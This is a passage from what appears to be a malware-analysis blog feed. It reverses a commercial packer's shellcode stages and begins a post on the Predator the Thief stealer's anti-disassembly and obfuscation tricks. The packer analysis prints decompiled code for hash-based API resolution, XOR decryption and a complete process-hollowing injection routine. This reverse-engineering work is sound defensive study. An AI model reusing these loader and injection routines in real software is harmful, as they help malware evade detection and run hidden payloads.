meaning.&lt;/p&gt;&#10;&lt;table&gt;&#10;&lt;thead&gt;&#10;&lt;tr&gt;&#10;&lt;th&gt;offset&lt;/th&gt;&#10;&lt;th&gt;Type&lt;/th&gt;&#10;&lt;th&gt;Variable&lt;/th&gt;&#10;&lt;th&gt;Value&lt;/th&gt;&#10;&lt;/tr&gt;&#10;&lt;/thead&gt;&#10;&lt;tbody&gt;&#10;&lt;tr&gt;&#10;&lt;td&gt;0x00&lt;/td&gt;&#10;&lt;td&gt;LIST_ENTRY&lt;/td&gt;&#10;&lt;td&gt;InLoaderOrderModuleList-&amp;gt;Flink&lt;/td&gt;&#10;&lt;td&gt;A8 3B 8D 00&lt;/td&gt;&#10;&lt;/tr&gt;&#10;&lt;tr&gt;&#10;&lt;td&gt;0x04&lt;/td&gt;&#10;&lt;td&gt;LIST_ENTRY&lt;/td&gt;&#10;&lt;td&gt;InLoaderOrderModuleList-&amp;gt;Blink&lt;/td&gt;&#10;&lt;td&gt;C8 37 8D 00&lt;/td&gt;&#10;&lt;/tr&gt;&#10;&lt;tr&gt;&#10;&lt;td&gt;0x08&lt;/td&gt;&#10;&lt;td&gt;LIST_ENTRY&lt;/td&gt;&#10;&lt;td&gt;InMemoryOrderList-&amp;gt;Flink&lt;/td&gt;&#10;&lt;td&gt;B0 3B 8D 00&lt;/td&gt;&#10;&lt;/tr&gt;&#10;&lt;tr&gt;&#10;&lt;td&gt;0x0C&lt;/td&gt;&#10;&lt;td&gt;LIST_ENTRY&lt;/td&gt;&#10;&lt;td&gt;InMemoryOrderList-&amp;gt;Blink&lt;/td&gt;&#10;&lt;td&gt;D0 37 8D 00&lt;/td&gt;&#10;&lt;/tr&gt;&#10;&lt;tr&gt;&#10;&lt;td&gt;0x10&lt;/td&gt;&#10;&lt;td&gt;LIST_ENTRY&lt;/td&gt;&#10;&lt;td&gt;InInitializationOrderModulerList-&amp;gt;Flink&lt;/td&gt;&#10;&lt;td&gt;70 3F 8D 00&lt;/td&gt;&#10;&lt;/tr&gt;&#10;&lt;tr&gt;&#10;&lt;td&gt;0x14&lt;/td&gt;&#10;&lt;td&gt;LIST_ENTRY&lt;/td&gt;&#10;&lt;td&gt;InInitializationOrderModulerList-&amp;gt;Blink&lt;/td&gt;&#10;&lt;td&gt;BC 7B CC 77&lt;/td&gt;&#10;&lt;/tr&gt;&#10;&lt;tr&gt;&#10;&lt;td&gt;0x18&lt;/td&gt;&#10;&lt;td&gt;PVOID&lt;/td&gt;&#10;&lt;td&gt;BaseAddress&lt;/td&gt;&#10;&lt;td&gt;00 00 BB 77&lt;/td&gt;&#10;&lt;/tr&gt;&#10;&lt;tr&gt;&#10;&lt;td&gt;0x1C&lt;/td&gt;&#10;&lt;td&gt;PVOID&lt;/td&gt;&#10;&lt;td&gt;EntryPoint&lt;/td&gt;&#10;&lt;td&gt;00 00 00 00&lt;/td&gt;&#10;&lt;/tr&gt;&#10;&lt;tr&gt;&#10;&lt;td&gt;0x20&lt;/td&gt;&#10;&lt;td&gt;UINT&lt;/td&gt;&#10;&lt;td&gt;SizeOfImage&lt;/td&gt;&#10;&lt;td&gt;00 00 19 00&lt;/td&gt;&#10;&lt;/tr&gt;&#10;&lt;tr&gt;&#10;&lt;td&gt;0x24&lt;/td&gt;&#10;&lt;td&gt;UNICODE_STRING&lt;/td&gt;&#10;&lt;td&gt;FullDllName&lt;/td&gt;&#10;&lt;td&gt;3A 00 3C 00 A0 35 8D 00&lt;/td&gt;&#10;&lt;/tr&gt;&#10;&lt;tr&gt;&#10;&lt;td&gt;0x2C&lt;/td&gt;&#10;&lt;td&gt;UNICODE_STRING&lt;/td&gt;&#10;&lt;td&gt;BaseDllName&lt;/td&gt;&#10;&lt;td&gt;12 00 14 00 B0 6D BB 77&lt;/td&gt;&#10;&lt;/tr&gt;&#10;&lt;/tbody&gt;&#10;&lt;/table&gt;&#10;&lt;p&gt;Because he wants at the first the &lt;em&gt;&lt;strong&gt;BaseDllName&lt;/strong&gt; &lt;/em&gt;for getting &lt;em&gt;&lt;strong&gt;kernel32.dll&lt;/strong&gt;&lt;/em&gt; We could supposed the shellcode will use the offset 0x2c for having the value but it's pointing to 0x30&lt;/p&gt;&#10;&lt;pre&gt;&lt;code&gt;008F524A | 8B41 30 | mov eax,dword ptr ds:[ecx+30] &lt;/code&gt;&lt;/pre&gt;&#10;&lt;p&gt;It means, It will grab buffer pointer from the &lt;a href="https://docs.microsoft.com/en-us/windows/win32/api/subauth/ns-subauth-unicode_string"&gt;UNICODE_STRING&lt;/a&gt; structure&lt;/p&gt;&#10;&lt;pre&gt;&lt;code&gt;typedef struct _UNICODE_STRING {&#10; USHORT Length;&#10; USHORT MaximumLength;&#10; PWSTR Buffer;&#10;} UNICODE_STRING, *PUNICODE_STRING;&lt;/code&gt;&lt;/pre&gt;&#10;&lt;p&gt;After that, the magic appears&lt;/p&gt;&#10;&lt;table&gt;&#10;&lt;thead&gt;&#10;&lt;tr&gt;&#10;&lt;th&gt;Register&lt;/th&gt;&#10;&lt;th&gt;Address&lt;/th&gt;&#10;&lt;th&gt;Symbol Value&lt;/th&gt;&#10;&lt;/tr&gt;&#10;&lt;/thead&gt;&#10;&lt;tbody&gt;&#10;&lt;tr&gt;&#10;&lt;td&gt;EAX&lt;/td&gt;&#10;&lt;td&gt;77BB6DB0&lt;/td&gt;&#10;&lt;td&gt;L"ntdll.dll"&lt;/td&gt;&#10;&lt;/tr&gt;&#10;&lt;/tbody&gt;&#10;&lt;/table&gt;&#10;&lt;h5&gt;Homemade checksum algorithm ?&lt;/h5&gt;&#10;&lt;p&gt;Searching a library name or function behind its respective hash is a common trick performed in the wild.&lt;/p&gt;&#10;&lt;pre&gt;&lt;code&gt;00965248 | 8B11 | mov edx,dword ptr ds:[ecx] | Pointer to List Entry (aka pEntry)&#10;0096524A | 8B41 30 | mov eax,dword ptr ds:[ecx+30] | Pointer to BaseDllName buffer &#10;0096524D | 6A 02 | push 2 | Increment is 2 due to UNICODE value&#10;0096524F | 8B7D 08 | mov edi,dword ptr ss:[ebp+8] |&#10;00965252 | 57 | push edi | DLL Hash (searched one)&#10;00965253 | 50 | push eax | DLL Name&#10;00965254 | E8 5B000000 | call 9652B4 | Checksum()&#10;00965259 | 85C0 | test eax,eax |&#10;0096525B | 74 04 | je 965261 |&#10;0096525D | 8BCA | mov ecx,edx | pEntry = pEntry-&amp;gt;Flink&#10;0096525F | EB E7 | jmp 965248 |&lt;/code&gt;&lt;/pre&gt;&#10;&lt;p&gt;The checksum function used here seems to have a decent risk of hash collisions, but based on the number of occurrences and length of the strings, it's negligible. Otherwise yeah, it could be fucked up very quickly.&lt;/p&gt;&#10;&lt;pre&gt;&lt;code&gt;BOOL Checksum(PWSTR *pBuffer, int hash, int i)&#10;{&#10; int pos; // ecx&#10; int checksum; // ebx&#10; int c; // edx&#10;&#10; pos = 0;&#10; checksum = 0;&#10; c = 0;&#10; do&#10; {&#10; LOBYTE(c) = *pBuffer | 0x60; // Lowercase&#10; checksum = 2 * (c + checksum);&#10; pBuffer += i; // +2 due it's UNICODE&#10; LOBYTE(pos) = *pBuffer;&#10; --pos;&#10; }&#10; while ( *pBuffer &amp;amp;&amp;amp; pos );&#10; return checksum != hash;&#10;}&lt;/code&gt;&lt;/pre&gt;&#10;&lt;h5&gt;Find the correct function address&lt;/h5&gt;&#10;&lt;p&gt;With the &lt;a href="https://docs.microsoft.com/en-us/windows/win32/api/winternl/ns-winternl-peb_ldr_data"&gt;&lt;strong&gt;pEntry&lt;/strong&gt;&lt;/a&gt; list saved and the checksum function assimilated, it only needs to perform a loop that repeat the process to get the name of the function, put him into the checksum then comparing it with the one that the packer wants.&lt;/p&gt;&#10;&lt;pre&gt;&lt;code&gt;00965261 | 8B41 18 | mov eax,dword ptr ds:[ecx+18] | BaseAddress&#10;00965264 | 50 | push eax |&#10;00965265 | 8B58 3C | mov ebx,dword ptr ds:[eax+3C] | PE Signature (e_lfanew) RVA&#10;00965268 | 03C3 | add eax,ebx | pNTHeader = BaseAddress + PE Signature RVA&#10;0096526A | 8B58 78 | mov ebx,dword ptr ds:[eax+78] | Export Table RVA&#10;0096526D | 58 | pop eax |&#10;0096526E | 50 | push eax |&#10;0096526F | 03D8 | add ebx,eax | Export Table&#10;00965271 | 8B4B 1C | mov ecx,dword ptr ds:[ebx+1C] | Address of Functions RVA&#10;00965274 | 8B53 20 | mov edx,dword ptr ds:[ebx+20] | Address of Names RVA&#10;00965277 | 8B5B 24 | mov ebx,dword ptr ds:[ebx+24] | Address of Name Ordinals RVA&#10;0096527A | 03C8 | add ecx,eax | Address Table&#10;0096527C | 03D0 | add edx,eax | Name Pointer Table (NPT)&#10;0096527E | 03D8 | add ebx,eax | Ordinal Table (OT)&#10;00965280 | 8B32 | mov esi,dword ptr ds:[edx] |&#10;00965282 | 58 | pop eax |&#10;00965283 | 50 | push eax | BaseAddress&#10;00965284 | 03F0 | add esi,eax | Function Name = NPT[i] + BaseAddress&#10;00965286 | 6A 01 | push 1 | Increment to 1 loop&#10;00965288 | FF75 0C | push dword ptr ss:[ebp+C] | Function Hash (searched one)&#10;0096528B | 56 | push esi | Function Name&#10;0096528C | E8 23000000 | call 9652B4 | Checksum()&#10;00965291 | 85C0 | test eax,eax |&#10;00965293 | 74 08 | je 96529D |&#10;00965295 | 83C2 04 | add edx,4 |&#10;00965298 | 83C3 02 | add ebx,2 |&#10;0096529B | EB E3 | jmp 965280 |&lt;/code&gt;&lt;/pre&gt;&#10;&lt;h5&gt;Save the function address&lt;/h5&gt;&#10;&lt;p&gt;When the name is matching with the hash in output, so it only requiring now to grab the function address and store into EAX.&lt;/p&gt;&#10;&lt;pre&gt;&lt;code&gt;0096529D | 58 | pop eax |&#10;0096529E | 33D2 | xor edx,edx | Purge&#10;009652A0 | 66:8B13 | mov dx,word ptr ds:[ebx] |&#10;009652A3 | C1E2 02 | shl edx,2 | Ordinal Value&#10;009652A6 | 03CA | add ecx,edx | Function Address RVA&#10;009652A8 | 0301 | add eax,dword ptr ds:[ecx] | Function Address = BaseAddress + Function Address RVA&#10;009652AA | 59 | pop ecx |&#10;009652AB | 5F | pop edi |&#10;009652AC | 5E | pop esi |&#10;009652AD | 5B | pop ebx |&#10;009652AE | 8BE5 | mov esp,ebp |&#10;009652B0 | 5D | pop ebp |&#10;009652B1 | C2 0800 | ret 8 |&lt;/code&gt;&lt;/pre&gt;&#10;&lt;h4&gt;Road to the second shellcode ! \o/&lt;/h4&gt;&#10;&lt;h5&gt;Saving API into a structure&lt;/h5&gt;&#10;&lt;p&gt;Now that &lt;a href="https://docs.microsoft.com/en-us/windows/win32/api/libloaderapi/nf-libloaderapi-loadlibrarya"&gt;&lt;strong&gt;LoadLibraryA&lt;/strong&gt;&lt;/a&gt; and &lt;a href="https://docs.microsoft.com/en-us/windows/win32/api/libloaderapi/nf-libloaderapi-getprocaddress"&gt;&lt;strong&gt;GetProcAddress&lt;/strong&gt;&lt;/a&gt; are saved, it only needs to select the function name it wants and putting it into the routine explain above.&lt;/p&gt;&#10;&lt;p&gt;&lt;img class="aligncenter size-full wp-image-3181" src="https://fumik0.com/wp-content/uploads/2021/04/packer-stack-strings.webp" alt="Stack strings building the API pointers stored in the shellcode structure" width="688" height="202" loading="lazy" decoding="async" /&gt;&lt;/p&gt;&#10;&lt;p&gt;In the end, the shellcode is completely setup&lt;/p&gt;&#10;&lt;pre&gt;&lt;code&gt;struct SHELLCODE&#10;{&#10; _BYTE Start;&#10; SCHEADER *ScHeader;&#10; int ScStartOffset;&#10; int seed;&#10; int (__stdcall *pLoadLibraryA)(int *);&#10; int (__stdcall *pGetProcAddress)(int, int *);&#10; PVOID GlobalAlloc;&#10; PVOID GetLastError;&#10; PVOID Sleep;&#10; PVOID VirtuaAlloc;&#10; PVOID CreateToolhelp32Snapshot;&#10; PVOID Module32First;&#10; PVOID CloseHandle;&#10;};&#10;&#10;struct SCHEADER&#10;{&#10; _DWORD dwSize;&#10; _DWORD dwSeed;&#10; _BYTE option;&#10; _DWORD dwDecompressedSize;&#10;};&lt;/code&gt;&lt;/pre&gt;&#10;&lt;h5&gt;Abusing fake loops&lt;/h5&gt;&#10;&lt;p&gt;Something that i really found cool in this packer is how the fake loop are funky. They have no sense but somehow they are working and it's somewhat amazing. The more absurd it is, the more i like and i found this really clever.&lt;/p&gt;&#10;&lt;pre&gt;&lt;code&gt;int __cdecl ExecuteShellcode(SHELLCODE *sc)&#10;{&#10; unsigned int i; // ebx&#10; int hModule; // edi&#10; int lpme[137]; // [esp+Ch] [ebp-224h] BYREF&#10;&#10; lpme[0] = 0x224;&#10; for ( i = 0; i &amp;lt; 0x64; ++i )&#10; {&#10; if ( i )&#10; (sc-&amp;gt;Sleep)(100);&#10; hModule = (sc-&amp;gt;CreateToolhelp32Snapshot)(TH32CS_SNAPMODULE, 0);&#10; if ( hModule != -1 )&#10; break;&#10; if ( (sc-&amp;gt;GetLastError)() != 24 )&#10; break;&#10; }&#10; if ( (sc-&amp;gt;Module32First)(hModule, lpme) )&#10; JumpToShellcode(sc); // &amp;lt;------ This is where to look :)&#10; return (sc-&amp;gt;CloseHandle)(hModule);&#10;}&lt;/code&gt;&lt;/pre&gt;&#10;&lt;h5&gt;Allocation &amp;amp; preparing new shellcode&lt;/h5&gt;&#10;&lt;pre&gt;&lt;code&gt;void __cdecl JumpToShellcode(SHELLCODE *SC)&#10;{&#10; int i; &#10; unsigned __int8 *lpvAddr; &#10; unsigned __int8 *StartOffset; &#10;&#10; StartOffset = SC-&amp;gt;ScStartOffset;&#10; Decrypt(SC, StartOffset, SC-&amp;gt;ScHeader-&amp;gt;dwSize, SC-&amp;gt;ScHeader-&amp;gt;Seed);&#10; if ( SC-&amp;gt;ScHeader-&amp;gt;Option )&#10; {&#10; lpvAddr = (SC-&amp;gt;VirtuaAlloc)(0, *(&amp;amp;SC-&amp;gt;ScHeader-&amp;gt;dwDecompressSize), 4096, 64);&#10; i = 0;&#10; Decompress(StartOffset, SC-&amp;gt;ScHeader-&amp;gt;dwDecompressSize, lpvAddr, i);&#10; StartOffset = lpvAddr;&#10; SC-&amp;gt;ScHeader-&amp;gt;CompressSize = i;&#10; }&#10; __asm { jmp [ebp+StartOffset] }&lt;/code&gt;&lt;/pre&gt;&#10;&lt;h5&gt;Decryption &amp;amp; Decompression&lt;/h5&gt;&#10;&lt;p&gt;The decryption is even simpler than the one for the first stage by using a simple re-implementation of the &lt;a href="https://stackoverflow.com/questions/1026327/what-common-algorithms-are-used-for-cs-rand"&gt;&lt;strong&gt;ms_rand &lt;/strong&gt;&lt;/a&gt;function, with a set seed value grabbed from the shellcode structure, that i decided to call here &lt;strong&gt;SCHEADER&lt;/strong&gt;. &lt;/p&gt;&#10;&lt;pre&gt;int Decrypt(SHELLCODE *sc, int startOffset, unsigned int size, int s)&lt;br /&gt;{&lt;br /&gt; int seed; // eax&lt;br /&gt; unsigned int count; // esi&lt;br /&gt; _BYTE *v6; // edx&lt;br /&gt;&lt;br /&gt; seed = s;&lt;br /&gt; count = 0;&lt;br /&gt; for ( API-&amp;gt;seed = s; count &amp;lt; size; ++count )&lt;br /&gt; {&lt;br /&gt; seed = ms_rand(sc);&lt;br /&gt; *v6 ^= seed;&lt;br /&gt; }&lt;br /&gt; return seed;&lt;br /&gt;}&lt;/pre&gt;&#10;&lt;figure&gt;&lt;img class="aligncenter size-full wp-image-3141" src="https://fumik0.com/wp-content/uploads/2021/04/packer-charlotte-meme.webp" alt="Meme captioned 'XOR everywhere'" width="488" height="485" loading="lazy" decoding="async" /&gt;&lt;figcaption&gt;XOR everywhere \o/&lt;/figcaption&gt;&lt;/figure&gt;&#10;&lt;p&gt;Then when it's done, it only needs to be decompressed.&lt;/p&gt;&#10;&lt;figure&gt;&lt;img class="aligncenter size-full wp-image-3144" src="https://fumik0.com/wp-content/uploads/2021/04/packer-shellcode-01-ukn.webp" alt="Decrypted shellcode entering the decompression loop" width="1220" height="624" loading="lazy" decoding="async" /&gt;&lt;figcaption&gt;Decrypted shellcode entering into the decompression loop&lt;/figcaption&gt;&lt;/figure&gt;&#10;&lt;h4&gt;Stage 3 - Launching the payload&lt;/h4&gt;&#10;&lt;p&gt;Reaching finally the final stage of this packer. This is the exact same pattern like the first shellcode:&lt;/p&gt;&#10;&lt;ul&gt;&#10;&lt;li&gt;Find &amp;amp; Stored GetProcAddress &amp;amp; Load Library&lt;/li&gt;&#10;&lt;li&gt;Saving all WinAPI functions required&lt;/li&gt;&#10;&lt;li&gt;Pushing the payload&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;p&gt;The structure from this one is a bit longer&lt;/p&gt;&#10;&lt;pre&gt;&lt;code&gt;struct SHELLCODE&#10;{&#10; PVOID (__stdcall *pLoadLibraryA)(LPCSTR);&#10; PVOID (__stdcall *pGetProcAddress)(HMODULE, LPSTR);&#10; char notused;&#10; PVOID ScOffset;&#10; PVOID LoadLibraryA;&#10; PVOID MessageBoxA;&#10; PVOID GetMessageExtraInfo;&#10; PVOID hKernel32;&#10; PVOID WinExec;&#10; PVOID CreateFileA;&#10; PVOID WriteFile;&#10; PVOID CloseHandle;&#10; PVOID CreateProcessA;&#10; PVOID GetThreadContext;&#10; PVOID VirtualAlloc;&#10; PVOID VirtualAllocEx;&#10; PVOID VirtualFree;&#10; PVOID ReadProcessMemory;&#10; PVOID WriteProcessMemory;&#10; PVOID SetThreadContext;&#10; PVOID ResumeThread;&#10; PVOID WaitForSingleObject;&#10; PVOID GetModuleFileNameA;&#10; PVOID GetCommandLineA;&#10; PVOID RegisterClassExA;&#10; PVOID CreateWindowA;&#10; PVOID PostMessageA;&#10; PVOID GetMessageA;&#10; PVOID DefWindowProcA;&#10; PVOID GetFileAttributesA;&#10; PVOID hNtdll;&#10; PVOID NtUnmapViewOfSection;&#10; PVOID NtWriteVirtualMemory;&#10; PVOID GetStartupInfoA;&#10; PVOID VirtualProtectEx;&#10; PVOID ExitProcess;&#10;};&lt;/code&gt;&lt;/pre&gt;&#10;&lt;p&gt;Interestingly, the stack string trick is different from the first stage&lt;/p&gt;&#10;&lt;p&gt;&lt;img class="aligncenter size-full wp-image-3180" src="https://fumik0.com/wp-content/uploads/2021/04/packer-stack-strings-stage2.webp" alt="Stack strings in the second stage, built differently from the first" width="717" height="367" loading="lazy" decoding="async" /&gt;&lt;/p&gt;&#10;&lt;h5&gt;Fake loop once, fake loop forever&lt;/h5&gt;&#10;&lt;p&gt;At this rate now, you understood, that almost everything is a lie in this packer. We have another perfect example here, with a fake loop consisting of checking a non-existent file attribute where in the reality, the variable "j" is the only one that have a sense.&lt;/p&gt;&#10;&lt;pre&gt;&lt;code&gt;void __cdecl _Inject(SC *sc)&#10;{&#10; LPSTRING lpFileName; // [esp+0h] [ebp-14h]&#10; char magic[8]; &#10; unsigned int j; &#10; int i; &#10;&#10; strcpy(magic, "apfHQ");&#10; j = 0;&#10; i = 0;&#10; while ( i != 111 )&#10; {&#10; lpFileName = (sc-&amp;gt;GetFileAttributesA)(magic);&#10; if ( j &amp;gt; 1 &amp;amp;&amp;amp; lpFileName != 0x637ADF )&#10; {&#10; i = 111;&#10; SetupInject(sc);&#10; }&#10; ++j;&#10; }&#10;}&lt;/code&gt;&lt;/pre&gt;&#10;&lt;h5&gt;Good ol' remote thread hijacking&lt;/h5&gt;&#10;&lt;p&gt;Then entering into the Inject setup function, no need much to say, the remote thread hijacking trick is used for executing the final payload.&lt;/p&gt;&#10;&lt;pre&gt;&lt;code&gt; ScOffset = sc-&amp;gt;ScOffset;&#10; pNtHeader = (ScOffset-&amp;gt;e_lfanew + sc-&amp;gt;ScOffset);&#10; lpApplicationName = (sc-&amp;gt;VirtualAlloc)(0, 0x2800, 0x1000, 4);&#10; status = (sc-&amp;gt;GetModuleFileNameA)(0, lpApplicationName, 0x2800);&#10; &#10; if ( pNtHeader-&amp;gt;Signature == 0x4550 ) // "PE"&#10; {&#10; (sc-&amp;gt;GetStartupInfoA)(&amp;amp;lpStartupInfo);&#10; lpCommandLine = (sc-&amp;gt;GetCommandLineA)(0, 0, 0, 0x8000004, 0, 0, &amp;amp;lpStartupInfo, &amp;amp;lpProcessInformation);&#10; status = (sc-&amp;gt;CreateProcessA)(lpApplicationName, lpCommandLine);&#10; if ( status )&#10; {&#10; (sc-&amp;gt;VirtualFree)(lpApplicationName, 0, 0x8000);&#10; lpContext = (sc-&amp;gt;VirtualAlloc)(0, 4, 4096, 4);&#10; lpContext-&amp;gt;ContextFlags = &amp;amp;loc_10005 + 2;&#10; status = (sc-&amp;gt;GetThreadContext)(lpProcessInformation.hThread, lpContext);&#10; if ( status )&#10; {&#10; (sc-&amp;gt;ReadProcessMemory)(lpProcessInformation.hProcess, lpContext-&amp;gt;Ebx + 8, &amp;amp;BaseAddress, 4, 0);&#10; if ( BaseAddress == pNtHeader-&amp;gt;OptionalHeader.ImageBase )&#10; (sc-&amp;gt;NtUnmapViewOfSection)(lpProcessInformation.hProcess, BaseAddress);&#10; lpBaseAddress = (sc-&amp;gt;VirtualAllocEx)(&#10; lpProcessInformation.hProcess,&#10; pNtHeader-&amp;gt;OptionalHeader.ImageBase,&#10; pNtHeader-&amp;gt;OptionalHeader.SizeOfImage,&#10; 0x3000,&#10; 0x40);&#10; (sc-&amp;gt;NtWriteVirtualMemory)(&#10; lpProcessInformation.hProcess,&#10; lpBaseAddress,&#10; sc-&amp;gt;ScOffset,&#10; pNtHeader-&amp;gt;OptionalHeader.SizeOfHeaders,&#10; 0);&#10; for ( i = 0; i &amp;lt; pNtHeader-&amp;gt;FileHeader.NumberOfSections; ++i )&#10; {&#10; Section = (ScOffset-&amp;gt;e_lfanew + sc-&amp;gt;ScOffset + 40 * i + 248);&#10; (sc-&amp;gt;NtWriteVirtualMemory)(&#10; lpProcessInformation.hProcess,&#10; Section[1].Size + lpBaseAddress,&#10; Section[2].Size + sc-&amp;gt;ScOffset,&#10; Section[2].VirtualAddress,&#10; 0);&#10; }&#10; (sc-&amp;gt;WriteProcessMemory)(&#10; lpProcessInformation.hProcess,&#10; lpContext-&amp;gt;Ebx + 8,&#10; &amp;amp;pNtHeader-&amp;gt;OptionalHeader.ImageBase,&#10; 4,&#10; 0);&#10; lpContext-&amp;gt;Eax = pNtHeader-&amp;gt;OptionalHeader.AddressOfEntryPoint + lpBaseAddress;&#10; (sc-&amp;gt;SetThreadContext)(lpProcessInformation.hThread, lpContext);&#10; (sc-&amp;gt;ResumeThread)(lpProcessInformation.hThread);&#10; (sc-&amp;gt;CloseHandle)(lpProcessInformation.hThread);&#10; (sc-&amp;gt;CloseHandle)(lpProcessInformation.hProcess);&#10; status = (sc-&amp;gt;ExitProcess)(0);&#10; }&#10; }&#10; }&lt;/code&gt;&lt;/pre&gt;&#10;&lt;h3&gt;Same but different, but still the same&lt;/h3&gt;&#10;&lt;p&gt;As explained at the beginning, whenever you have reversed this packer, you understand that the core is pretty similar every-time. It took only few seconds, to breakpoints at specific places to reach the shellcode stage(s).&lt;/p&gt;&#10;&lt;figure&gt;&lt;img class="aligncenter size-full wp-image-3139" src="https://fumik0.com/wp-content/uploads/2021/04/packer-other-payload-01.webp" alt="Core pattern of another payload: LocalAlloc, module handle and VirtualProtect" width="721" height="212" loading="lazy" decoding="async" /&gt;&lt;figcaption&gt;Identifying core pattern (LocalAlloc, Module Handle and VirtualProtect)&lt;/figcaption&gt;&lt;/figure&gt;&#10;&lt;p&gt;The funny is on the decryption used now in the first stage, it's the exact copy pasta from the shellcode side.&lt;/p&gt;&#10;&lt;figure&gt;&lt;img class="aligncenter size-full wp-image-3138" src="https://fumik0.com/wp-content/uploads/2021/04/packer-other-payload-02.webp" alt="TEA decryption replaced by rand() and XOR, as in the first shellcode stage" width="702" height="169" loading="lazy" decoding="async" /&gt;&lt;figcaption&gt;TEA decryption replaced with rand() + xor like the first shellcode stage&lt;/figcaption&gt;&lt;/figure&gt;&#10;&lt;p&gt;At the start of the second stage, there is not so much to say that the instructions are almost identical&lt;/p&gt;&#10;&lt;figure&gt;&lt;img class="aligncenter size-full wp-image-3137" src="https://fumik0.com/wp-content/uploads/2021/04/packer-other-payload-03.webp" alt="First shellcode is identical in two different campaign waves" width="1672" height="271" loading="lazy" decoding="async" /&gt;&lt;figcaption&gt;Shellcode n°1 is identical into two different campaign waves&lt;/figcaption&gt;&lt;/figure&gt;&#10;&lt;p&gt;It seems that the second shellcode changed few hours ago (at the date of this paper), so let's see if other are motivated to make their own analysis of it&lt;/p&gt;&#10;&lt;h2&gt;Conclusion&lt;/h2&gt;&#10;&lt;p&gt;Well well, it's cool sometimes to deal with something easy but efficient. It has indeed surprised me to see that the core is identical over the time but I insist this packer&lt;em&gt;&lt;strong&gt; is really awesome for training and teaching someone into malware/reverse engineering&lt;/strong&gt;&lt;/em&gt;.&lt;/p&gt;&#10;&lt;p&gt;Well, now it's time to go serious for the next release :)&lt;/p&gt;&#10;&lt;p&gt;&lt;img class="aligncenter size-full wp-image-3179" src="https://fumik0.com/wp-content/uploads/2021/04/packer-kazuma.webp" alt="Reaction GIF used to close the article" width="500" height="273" loading="lazy" decoding="async" /&gt;&lt;/p&gt;&#10;&lt;p&gt;Stay safe in those weird times o/&lt;/p&gt;&#10;&#10;&lt;p&gt;&lt;/p&gt;&#10;</description></item><item><title>Let's play (again) with Predator the thief</title><link>https://fumik0.com/2019/12/25/lets-play-again-with-predator-the-thief/</link><pubDate>Wed, 25 Dec 2019 19:49:49 +0000</pubDate><guid>https://fumik0.com/2019/12/25/lets-play-again-with-predator-the-thief/</guid><description>Whenever I reverse a sample, I am mostly interested in how it was developed, even if in the end the techniques employed are generally the same, I am always curious about what was the way to achieve a task, or just simply understand the code philosophy of a piece of code. It is a very nice way to spot different trending and discovering (sometimes) new tricks that you never know it was possible to do. This is one of the main reasons, I love digging mostly into stealers/clippers for their accessibility for being reversed, and enjoying malware analysis as a kind of game (unless some exceptions like Nymaim that is literally hell).&#10;&#10;It's been 1 year and a half now that I start looking into "Predator The Thief", and this malware has evolved over time in terms of content added and code structure. This impression could be totally different from others in terms of stealing tasks performed, but based on my first in-depth analysis,, the code has changed too much and it was necessary to make another post on it.&#10;&#10;This one will focus on some major aspects of the 3.3.2 version, but will not explain everything (because some details have already been mentioned in other papers,  some subjects are known). Also, times to times I will add some extra commentary about malware analysis in general.&#10;&lt;h2&gt;Anti-Disassembly&lt;/h2&gt;&#10;When you open an unpacked binary in IDA or other disassembler software like GHIDRA, there is an amount of code that is not interpreted correctly which leads to rubbish code, the incapacity to construct instructions or showing some graph. Behind this, it's obvious that an anti-disassembly trick is used.&#10;&#10;&lt;img class=" wp-image-874 aligncenter" src="https://fumik0.com/wp-content/uploads/2019/11/predator-anti-analysis-02.webp" alt="Screenshot: Predator anti analysis 02" width="636" height="317" loading="lazy" decoding="async" /&gt;&#10;&#10;The technique exploited here is known and used in the wild by other malware, it requires just a few opcodes to process and leads at the end at the creation of a false branch. In this case, it begins with a simple xor instruction that focuses on configuring the zero flag and forcing the JZ jump condition to work no matter what, so, at this stage, it's understandable that something suspicious is in progress. Then the MOV opcode (0xB8) next to the jump is a 5 bytes instruction and disturbing the disassembler to consider that this instruction is the right one to interpret beside that the correct opcode is inside this one, and in the end, by choosing this wrong path malicious tasks are hidden.&#10;&#10;Of course, fixing this issue is simple, and required just a few seconds. For example with IDA, you need to undefine the MOV instruction by pressing the keyboard shortcut "U", to produce this pattern.&#10;&#10;&lt;img class=" size-full wp-image-875 aligncenter" src="https://fumik0.com/wp-content/uploads/2019/11/predator-anti-analysis-03.webp" alt="Screenshot: Predator anti analysis 03" width="1137" height="321" loading="lazy" decoding="async" /&gt;&#10;&#10;Then skip the 0xB8 opcode, and pushing on "C" at the 0xE8 position, to configure the disassembler to interpret instruction at this point.&#10;&#10;&lt;img class=" size-full wp-image-876 aligncenter" src="https://fumik0.com/wp-content/uploads/2019/11/predator-anti-analysis-04.webp" alt="Screenshot: Predator anti analysis 04" width="1089" height="209" loading="lazy" decoding="async" /&gt;&#10;&#10;Replacing the 0xB8 opcode by 0x90. with a hexadecimal editor, will fix the issue. Opening again the patched PE, you will see that IDA is now able to even show the graph mode.&#10;&#10;After patching it, there are still some parts that can't be correctly parsed by the disassembler, but after reading some of the code locations, some of them are correct, so if you want to create a function, you can select the "loc" section then pushed on "P" to create a sub-function, of course, this action could lead to some irreversible thing if you are not sure about your actions and end to restart again the whole process to remove a the ant-disassembly tricks, so this action must be done only at last resort.&#10;&lt;h2&gt;Code Obfuscation&lt;/h2&gt;&#10;Whenever you are analyzing Predator, you know that you will have to deal with some obfuscation tricks almost everywhere just for slowing down your code analysis. Of course, they are not complicated to assimilate, but as always, simple tricks used at their finest could turn a simple fun afternoon to literally "welcome to Dark Souls". The concept was already there in the first in-depth analysis of this malware, and the idea remains over and over with further updates on it. The only differences are easy to guess :&#10;&lt;ul&gt;&#10;&#9;&lt;li&gt;More layers of obfuscation have been added&lt;/li&gt;&#10;&#9;&lt;li&gt;Techniques already used are just adjusted.&lt;/li&gt;&#10;&#9;&lt;li&gt;More dose of randomness&lt;/li&gt;&#10;&lt;/ul&gt;&#10;As a reversing point of view, I am considering this part as one the main thing to recognized this stealer, even if of course, you can add network communication and C&amp;amp;C pattern as other ways for identifying it, inspecting the code is one way to clarify doubts (and I understand that this statement is for sure not working for every malware), but the idea is that nowadays it's incredibly easy to make mistakes by being dupe by rules or tags on sandboxes, due to similarities based on code-sharing, or just literally creating false flag.&#10;&lt;h4&gt;GetModuleAddress&lt;/h4&gt;&#10;Already there in a previous analysis, recreating the GetProcAddress is a popular trick to hide an API call behind a simple register call. Over the updates, the main idea is still there but the main procedures have been modified, reworked or slightly optimized.&#10;&#10;First of all, we recognized easily 